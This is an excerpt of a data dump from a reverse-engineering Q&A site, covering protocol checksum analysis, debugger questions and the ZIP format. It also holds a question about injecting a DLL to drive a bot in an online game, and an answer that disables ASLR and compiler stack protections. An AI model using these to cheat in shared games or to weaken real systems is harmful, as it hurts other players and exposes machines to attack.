2A&#xA;&#xA;0C 00 : 2D B1 : 42 00 00 00 01 : B7 D1 90&#xA;0D 00 : 04 E6 : 6D 01 00 00 01 : F1 52 ED DF&#xA;0E 00 : 50 9D : 2C 00 00 00 01 : F7 E9 94 FC 3A&#xA;0F 00 : 4C 88 : 21 01 00 00 01 : 30 EB 62 D0 C4 D0&#xA;10 00 : 81 28 : 1B 00 00 00 01 : 64 CD E6 F0 24 CD F0&#xA;11 00 : C5 FB : 31 00 00 00 01 : 75 0F 13 10 DE 0F 11 2F &#xA;12 00 : 9E F7 : 18 00 00 00 01 : 19 D8 F5 D8 F2 01 95 D8 D8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But sometimes the stuff doesn't fit at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;13 00 : 00 00 : 03 00 00 00 00 : 00 00 0B E1 F5 05 00  00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to make quick headway it would be helpful to run analyses on large numbers of samples, i.e. directly on nice fat packet capture files. Where's this &quot;PAC&quot; format from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are all samples of length 9 that I could find, to demonstrate why more analysis is necessary. Several of the samples differ only in the supposed CRC. This means that if these frames do contain CRCs then these must refer to some bigger frame of reference. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;09 00 : C5 28 : 05 00 00 00 01&#xA;09 00 : CD 65 : 05 00 00 00 01&#xA;09 00 : EA A6 : 1E 00 00 00 00&#xA;09 00 : 58 29 : 2D 00 00 00 00&#xA;09 00 : CC 96 : 2D 00 00 00 00&#xA;09 00 : D0 B0 : 2D 00 00 00 00&#xA;09 00 : F8 8A : 2D 00 00 00 00&#xA;09 00 : 57 3C : 4F 00 00 00 01&#xA;09 00 : 41 47 : 5A 00 00 00 00&#xA;09 00 : 8E A2 : 5A 00 00 00 00&#xA;09 00 : DF B3 : 5A 00 00 00 00&#xA;09 00 : E2 CD : 75 00 00 00 01&#xA;09 00 : 01 B9 : DF 07 00 00 01&#xA;09 00 : 02 C9 : DF 07 00 00 01&#xA;09 00 : 0F 39 : DF 07 00 00 01&#xA;09 00 : 1A F2 : DF 07 00 00 01&#xA;09 00 : 36 7E : DF 07 00 00 01&#xA;09 00 : CD 65 : DF 07 00 00 01&#xA;09 00 : D0 55 : DF 07 00 00 01&#xA;09 00 : D2 D9 : DF 07 00 00 01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This complicates the picture and makes it more difficult to work out the specifics of the CRCs via packet analysis. It might be faster to attack the problem with IDA, by analysing references to the CRC function.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2016-02-21T17:09:33.637" LastActivityDate="2016-02-21T17:09:33.637" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12081" PostTypeId="2" ParentId="12076" CreationDate="2016-02-21T18:13:21.837" Score="2" Body="&lt;p&gt;This is a limitation of OllyDbg v1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of plugins designed to fix this in v1 (such as &lt;a href=&quot;http://www.openrce.org/downloads/details/168/Breakpoint_Manager&quot; rel=&quot;nofollow&quot;&gt;Breakpoint Manager&lt;/a&gt;), but the better solution is to upgrade to &lt;a href=&quot;http://www.ollydbg.de/odbg201.zip&quot; rel=&quot;nofollow&quot;&gt;OllyDbg v2&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-02-21T18:13:21.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12082" PostTypeId="1" CreationDate="2016-02-22T17:44:19.577" Score="3" ViewCount="818" Body="&lt;p&gt;I'm trying to create a bot for a game called &quot;&lt;a href=&quot;http://mwomercs.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mech Warrior Online&lt;/a&gt;&quot;. I've just completed my DLL injector which I want to use as mean to call function from the MWO client such as (fire, move, look around, etc...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I'm not great at reverse engineering, I'm trying hard to learn with tutorials, but I haven't found a particular one which addresses my problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here goes, by using IDA and looking at strings, I've found this: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/daQb7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/daQb7.png&quot; alt=&quot;Strings window&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fire1 through Fire6 are most likely related to shooting weapons group 1-6. So if I click on it I get this;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/I7QDS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I7QDS.png&quot; alt=&quot;The function responsible for a bunch of stuff !&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this function looks very interesting, seems to control the power on/off of the mech, jumpjets, turning, throttle, weapons firing etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I'd like to call this function to fire the weapons, but I can't seem to figure out how. I did some tutorials where I was able to inject my dll and call functions remotely via exports. But this function is very complex (in my opinion). Here's a look inside:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall sub_37FC7C90(int a1)&#xA;{&#xA;  int result; // eax@5&#xA;  int v2; // edx@5&#xA;  int v3; // [sp+14h] [bp-4h]@2&#xA;&#xA;  int result; // eax@5&#xA;&#xA;  int v2; // edx@5&#xA;  int v3; // [sp+14h] [bp-4h]@2&#xA;&#xA;  if ( !(dword_38CB3580 &amp;amp; 1) )&#xA;  {&#xA;    dword_38CB3580 |= 1u;&#xA;    dword_38CB33F8 = (unsigned int)&amp;amp;unk_389BAE80 | 1;&#xA;    LOBYTE(v3) = 1;&#xA;    dword_38CB33E8 = (int)&quot;Enabled&quot;;&#xA;    dword_38CB33EC = 0;&#xA;    dword_38CB33F0 = (int)szAgent;&#xA;    dword_38CB33F4 = 0;&#xA;&#xA;&#xA;(*(void (__cdecl **)(_UNKNOWN *, int *))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB33FC,&#xA;      &amp;amp;v3);&#xA;&#xA;&#xA;(*(void (__cdecl **)(int *))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3410 = (unsigned int)&amp;amp;unk_389BAF54 | 1;&#xA;    v3 = 0;&#xA;    dword_38CB3400 = (int)&quot;Throttle&quot;;&#xA;    dword_38CB3404 = 0;&#xA;    dword_38CB3408 = (int)szAgent;&#xA;    dword_38CB340C = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, int *))((((unsigned int)&amp;amp;unk_389BAF54 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB3414,&#xA;      &amp;amp;v3);&#xA;(*(void (__cdecl **)(int *))((((unsigned int)&amp;amp;unk_389BAF54 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3428 = (unsigned int)&amp;amp;unk_389BAF54 | 1;&#xA;    v3 = 0;&#xA;    dword_38CB3418 = (int)&quot;Turn&quot;;&#xA;    dword_38CB341C = 0;&#xA;    dword_38CB3420 = (int)szAgent;&#xA;    dword_38CB3424 = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, int *))((((unsigned int)&amp;amp;unk_389BAF54 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB342C,&#xA;      &amp;amp;v3);&#xA;(*(void (__cdecl **)(int *))((((unsigned int)&amp;amp;unk_389BAF54 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3440 = (unsigned int)&amp;amp;unk_389BB168 | 1;&#xA;    v3 = 0;&#xA;    dword_38CB3430 = (int)&quot;TurnTarget&quot;;&#xA;    dword_38CB3434 = 0;&#xA;    dword_38CB3438 = (int)szAgent;&#xA;    dword_38CB343C = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, int *))((((unsigned int)&amp;amp;unk_389BB168 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB3444,&#xA;      &amp;amp;v3);&#xA;(*(void (__cdecl **)(int *))((((unsigned int)&amp;amp;unk_389BB168 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3458 = (unsigned int)&amp;amp;unk_389BB168 | 1;&#xA;    v3 = 0;&#xA;    dword_38CB3448 = (int)&quot;LookTarget&quot;;&#xA;    dword_38CB344C = 0;&#xA;    dword_38CB3450 = (int)szAgent;&#xA;    dword_38CB3454 = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, int *))((((unsigned int)&amp;amp;unk_389BB168 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB345C,&#xA;      &amp;amp;v3);&#xA;(*(void (__cdecl **)(int *))((((unsigned int)&amp;amp;unk_389BB168 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3470 = (unsigned int)&amp;amp;unk_389BAE80 | 1;&#xA;    LOBYTE(v3) = 0;&#xA;    dword_38CB3460 = (int)&quot;JumpJet&quot;;&#xA;    dword_38CB3464 = 0;&#xA;    dword_38CB3468 = (int)szAgent;&#xA;    dword_38CB346C = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, int *))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB3474,&#xA;      &amp;amp;v3);&#xA;(*(void (__cdecl **)(int *))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3488 = (int)&amp;amp;unk_389BAE60;&#xA;    dword_38CB3478 = (int)&quot;PowerOn&quot;;&#xA;    dword_38CB347C = 0;&#xA;    dword_38CB3480 = (int)szAgent;&#xA;    dword_38CB3484 = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, int *))(((unsigned int)&amp;amp;unk_389BAE60 &amp;amp; 0xFFFFFFFC) + 12))(&amp;amp;unk_38CB348C, &amp;amp;v3);&#xA;(*(void (__cdecl **)(int *))(((unsigned int)&amp;amp;unk_389BAE60 &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB34A0 = (int)&amp;amp;unk_389BAE60;&#xA;    dword_38CB3490 = (int)&quot;PowerOff&quot;;&#xA;    dword_38CB3494 = 0;&#xA;    dword_38CB3498 = (int)szAgent;&#xA;    dword_38CB349C = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, int *))(((unsigned int)&amp;amp;unk_389BAE60 &amp;amp; 0xFFFFFFFC) + 12))(&amp;amp;unk_38CB34A4, &amp;amp;v3);&#xA;(*(void (__cdecl **)(int *))(((unsigned int)&amp;amp;unk_389BAE60 &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB34B8 = (int)&amp;amp;unk_389BAE60;&#xA;    dword_38CB34A8 = (int)&quot;TogglePower&quot;;&#xA;    dword_38CB34AC = 0;&#xA;    dword_38CB34B0 = (int)szAgent;&#xA;    dword_38CB34B4 = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, _DWORD))(((unsigned int)&amp;amp;unk_389BAE60 &amp;amp; 0xFFFFFFFC) + 12))(&amp;amp;unk_38CB34BC, &amp;amp;v3);&#xA;(*(void (__cdecl **)(_DWORD))(((unsigned int)&amp;amp;unk_389BAE60 &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB34D0 = (int)&amp;amp;unk_389BAE60;&#xA;    dword_38CB34C0 = (int)&quot;ToggleWeaponDoors&quot;;&#xA;    dword_38CB34C4 = 0;&#xA;    dword_38CB34C8 = (int)szAgent;&#xA;    dword_38CB34CC = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, _DWORD))(((unsigned int)&amp;amp;unk_389BAE60 &amp;amp; 0xFFFFFFFC) + 12))(&amp;amp;unk_38CB34D4, &amp;amp;v3);&#xA;(*(void (__cdecl **)(_DWORD))(((unsigned int)&amp;amp;unk_389BAE60 &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB34E8 = (unsigned int)&amp;amp;unk_389BAE80 | 1;&#xA;    LOBYTE(v3) = 0;&#xA;    dword_38CB34D8 = (int)&quot;Fire1&quot;;&#xA;    dword_38CB34DC = 0;&#xA;    dword_38CB34E0 = (int)szAgent;&#xA;    dword_38CB34E4 = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, _DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB34EC,&#xA;      &amp;amp;v3);&#xA;(*(void (__cdecl **)(_DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3500 = (unsigned int)&amp;amp;unk_389BAE80 | 1;&#xA;    LOBYTE(v3) = 0;&#xA;    dword_38CB34F0 = (int)&quot;Fire2&quot;;&#xA;    dword_38CB34F4 = 0;&#xA;    dword_38CB34F8 = (int)szAgent;&#xA;    dword_38CB34FC = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, _DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB3504,&#xA;      &amp;amp;v3);&#xA;(*(void (__cdecl **)(_DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3518 = (unsigned int)&amp;amp;unk_389BAE80 | 1;&#xA;    LOBYTE(v3) = 0;&#xA;    dword_38CB3508 = (int)&quot;Fire3&quot;;&#xA;    dword_38CB350C = 0;&#xA;    dword_38CB3510 = (int)szAgent;&#xA;    dword_38CB3514 = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, _DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB351C,&#xA;      &amp;amp;v3);&#xA;(*(void (__cdecl **)(_DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3530 = (unsigned int)&amp;amp;unk_389BAE80 | 1;&#xA;    LOBYTE(v3) = 0;&#xA;    dword_38CB3520 = (int)&quot;Fire4&quot;;&#xA;    dword_38CB3524 = 0;&#xA;    dword_38CB3528 = (int)szAgent;&#xA;    dword_38CB352C = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, _DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB3534,&#xA;      &amp;amp;v3);&#xA;(*(void (__cdecl **)(_DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3548 = (unsigned int)&amp;amp;unk_389BAE80 | 1;&#xA;    LOBYTE(v3) = 0;&#xA;    dword_38CB3538 = (int)&quot;Fire5&quot;;&#xA;    dword_38CB353C = 0;&#xA;    dword_38CB3540 = (int)szAgent;&#xA;    dword_38CB3544 = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, _DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB354C,&#xA;      &amp;amp;v3);&#xA;(*(void (__cdecl **)(_DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3560 = (unsigned int)&amp;amp;unk_389BAE80 | 1;&#xA;    LOBYTE(v3) = 0;&#xA;    dword_38CB3550 = (int)&quot;Fire6&quot;;&#xA;    dword_38CB3554 = 0;&#xA;    dword_38CB3558 = (int)szAgent;&#xA;    dword_38CB355C = 0;&#xA;(*(void (__cdecl **)(_UNKNOWN *, _DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 0xC))(&#xA;      &amp;amp;unk_38CB3564,&#xA;      &amp;amp;v3);&#xA;    (*(void (__cdecl **)(_DWORD))((((unsigned int)&amp;amp;unk_389BAE80 | 1) &amp;amp; 0xFFFFFFFC) + 4))(&amp;amp;v3);&#xA;    dword_38CB3568 = 0;&#xA;    dword_38CB356C = 0;&#xA;    dword_38CB3570 = 0;&#xA;    dword_38CB3574 = 0;&#xA;    dword_38CB357C = 0;&#xA;    dword_38CB3578 = (int)&amp;amp;unk_389BAEA0;&#xA;    atexit(sub_386F1FC0);&#xA;  }&#xA;  if ( !(dword_38CB3580 &amp;amp; 2) )&#xA;  {&#xA;    dword_38CB3580 |= 2u;&#xA;    dword_38CB33D4 = 0;&#xA;    dword_38CB33D8 = 0;&#xA;    dword_38CB33DC = 0;&#xA;    dword_38CB33E0 = 0;&#xA;  }&#xA;  result = a1;&#xA;  v2 = *(_DWORD *)(a1 + 8);&#xA;  *(_DWORD *)(a1 + 12) = szAgent;&#xA;  *(_DWORD *)a1 = &amp;amp;dword_38CB33E8;&#xA;  *(_DWORD *)(a1 + 4) = &amp;amp;dword_38CB33D4;&#xA;  *(_DWORD *)(a1 + 8) = v2 &amp;amp; 0xFFFFF01F | 0x11;&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sorry, I know it's very messy, but the function is pretty big.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody could tell me how to call let's say &lt;code&gt;Fire1&lt;/code&gt; from my DLL? I really have no idea how to do it at this point. I know I'm totally over my head, but I'd like to learn!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx to anyone willing to lend a hand!&#xA;Cheers &lt;/p&gt;&#xA;" OwnerUserId="15153" LastEditorUserId="2147" LastEditDate="2016-09-17T11:43:41.260" LastActivityDate="2021-06-26T07:05:00.617" Title="Trying to call function in process via DLL injection, need help in IDA if possible" Tags="|ida|debugging|c++|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12085" PostTypeId="2" ParentId="11777" CreationDate="2016-02-23T07:36:56.260" Score="6" Body="&lt;p&gt;first, you should disable ASLR system-wide,  you can do this as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;0&quot; &amp;gt; /proc/sys/kernel/randomize_va_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;second, compile your program using flag with -zexecstack -fno-stack-protector -g &lt;/p&gt;&#xA;&#xA;&lt;p&gt;example &lt;code&gt;gcc program.c -o program -zexecstack -fno-stack-protector -g&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers :)&lt;/p&gt;&#xA;" OwnerUserId="14199" LastEditorUserId="14199" LastEditDate="2018-10-07T08:46:28.093" LastActivityDate="2018-10-07T08:46:28.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="12087" PostTypeId="1" CreationDate="2016-02-23T22:35:32.360" Score="5" ViewCount="2089" Body="&lt;p&gt;Bit of a noob question, I'm working through some examples on crackmes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ollydbg and x64dbg, in the stack, disassembler and registry windows, there are texts to show values of memory locations, for instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v7jhC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v7jhC.png&quot; alt=&quot;Ollydbg descriptions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have thought IDA would have had this information readily available in the debugger, however it seems the user has to hover over addresses to view it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kAlBD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kAlBD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to display this available in IDA? It is much more useful in Olly/x64 to have the text, rather than &lt;code&gt;debug070:7EFDE000&lt;/code&gt; etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15171" LastEditorUserId="2147" LastEditDate="2016-09-14T23:30:19.340" LastActivityDate="2017-03-14T03:15:46.267" Title="How to display dump data in IDA Debugger?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12091" PostTypeId="1" AcceptedAnswerId="12131" CreationDate="2016-02-24T17:26:09.930" Score="1" ViewCount="463" Body="&lt;p&gt;I've been working my way through an undocumented TCP-based protocol by monitoring traffic with tcpdump, Wireshark, and some Python packages (scapy, numpy) with good luck so far, but I've hit a wall with what I think is some sort of checksum/hash/CRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watching a client binary, it sends its first &quot;hello&quot; sort of message, gets back a response from the server with some basic things (server version, etc.), then sends a set of commands in the subsequent messages.  It's that second and subsequent message type I can't figure out.  Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;2f c6 00 f2 00 36 01 08  56 cc 80 c4 00 00 00 00&#xA;00 00 00 00 01 04 72 6f  6f 74 00 68 6f 73 74 6e&#xA;61 6d 65 00 6c 6d 67 72  64 00 2f 64 65 76 2f 70&#xA;74 73 2f 30 00 00&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 22 bytes are what I'm calling the header, since it's a fixed-length segment and after that it's all just null-terminated ASCII strings.  The bytes of that header:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1st: always &lt;code&gt;0x2f&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;2nd: looks like a sort of sum over the message bytes but I'm not 100% on that part&lt;/li&gt;&#xA;&lt;li&gt;3rd and 4th: total mystery to me and the reason for this post&lt;/li&gt;&#xA;&lt;li&gt;5th: always &lt;code&gt;0x00&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;6th: total number of bytes in the message&lt;/li&gt;&#xA;&lt;li&gt;7th-8th: always &lt;code&gt;0x0108&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;9th-12: four-byte unix timestamp&lt;/li&gt;&#xA;&lt;li&gt;13th-20th: always &lt;code&gt;0x00&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;21st-22nd: always &lt;code&gt;0x0104&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is about the 3rd and 4th byte: what method is the client using to come up with those values, and/or what should I try to figure it out myself?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can test a wide variety of values by varying the hostname, username, system time, and TTY the client is running under, so I can easily gather gobs of example packets if needed.  So far I've tried a statistical approach with that by looking at a histogram of what values those bytes take on across a wide range of inputs.  I haven't discovered too much from that, except:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;3rd byte spans 0 - 63 (i.e., its first two bits are always 0)&lt;/li&gt;&#xA;&lt;li&gt;4th byte spans 0 - 255&lt;/li&gt;&#xA;&lt;li&gt;neither byte ever takes on the values 10 - 13 (there's a gap in an otherwise evenly-spread histogram on these specific values)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another method was to give it a few specific values of hostname to see how it behaves.  These things DO change the value of both of those mystery bytes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Switching the order of message bytes&lt;/li&gt;&#xA;&lt;li&gt;Inverting a bit in a particular position in two different bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I then tried crunching through different types of checksums I've read about (variations on BSD and Fletcher) as well as CRCs (trying a 15-bit polynomial to produce a 14-bit remainder, but, is that actually a thing that's done?) with no luck so far.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="15170" LastActivityDate="2016-03-02T21:28:58.763" Title="What checksum algorithm is this network protocol using?" Tags="|linux|protocol|networking|wireshark|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12097" PostTypeId="1" CreationDate="2016-02-25T10:00:19.723" Score="1" ViewCount="72" Body="&lt;p&gt;Does anyone know of any source code deobfuscator in java?&#xA;I'm currently writing an obfuscator for java source code and I want to test how well I have made it with an deobfuscator.&lt;/p&gt;&#xA;" OwnerUserId="15190" LastActivityDate="2016-02-25T10:00:19.723" Title="Java source code deobfuscator?" Tags="|obfuscation|java|deobfuscation|" AnswerCount="0" CommentCount="3" ClosedDate="2016-03-17T16:11:41.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="12098" PostTypeId="1" CreationDate="2016-02-25T10:46:12.647" Score="5" ViewCount="1105" Body="&lt;p&gt;I followed the tutorial &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1588.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Help: Debugging code snippets with QEMU&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It always worked with ARM code, but now I have to reverse some MIPS and only nops are displayed like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mCFCb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mCFCb.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Should I adjust something on the memory map? As you can see, the code is rebased in the range of &lt;code&gt;0x8f0000000&lt;/code&gt;.&#xA;Or is it something with the generated intermediate ELF file?&lt;/p&gt;&#xA;&lt;p&gt;I am using the Mipsel_Malta config, cmd line is&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;quot;D:\attila\qemu\bin\qemu-system-mipsel&amp;quot; -S -gdb tcp::%p,ipv4 -cpu 4Km -kernel &amp;quot;%e&amp;quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15191" LastEditorUserId="37138" LastEditDate="2021-07-02T19:09:37.293" LastActivityDate="2021-07-02T19:09:37.293" Title="I'm trying to debug small mips code snippets in IDA with QEMU as debugger, but only NOP instructions show when I start the process" Tags="|ida|disassembly|mips|qemu|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="12100" PostTypeId="1" AcceptedAnswerId="12101" CreationDate="2016-02-25T19:15:01.320" Score="-1" ViewCount="2521" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Perhaps similar to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4251/reverse-engineering-zip-file&quot;&gt;Reverse engineering zip file&lt;/a&gt;, but my problem is clearly different&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Do zip files contain some specific sort of uniform code? What I mean by this is: Is it possible to analyze some properties of the zip file? Editing a zip with a hex editor is not helpful at all, as it is unintelligible to me.&lt;/p&gt;&#xA;" OwnerUserId="15199" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-02-25T19:26:51.360" Title="Dissassembling a zip file" Tags="|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12101" PostTypeId="2" ParentId="12100" CreationDate="2016-02-25T19:26:51.360" Score="5" Body="&lt;p&gt;Yes, the ZIP file format is thoroughly documented here: &lt;a href=&quot;https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;010 Editor&lt;/a&gt;'s &lt;a href=&quot;http://www.sweetscape.com/010editor/templates/files/ZIPTemplate.bt&quot; rel=&quot;nofollow noreferrer&quot;&gt;ZIP template&lt;/a&gt; for analyzing ZIP files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kuRzQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kuRzQ.png&quot; alt=&quot;ZIP&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-02-25T19:26:51.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
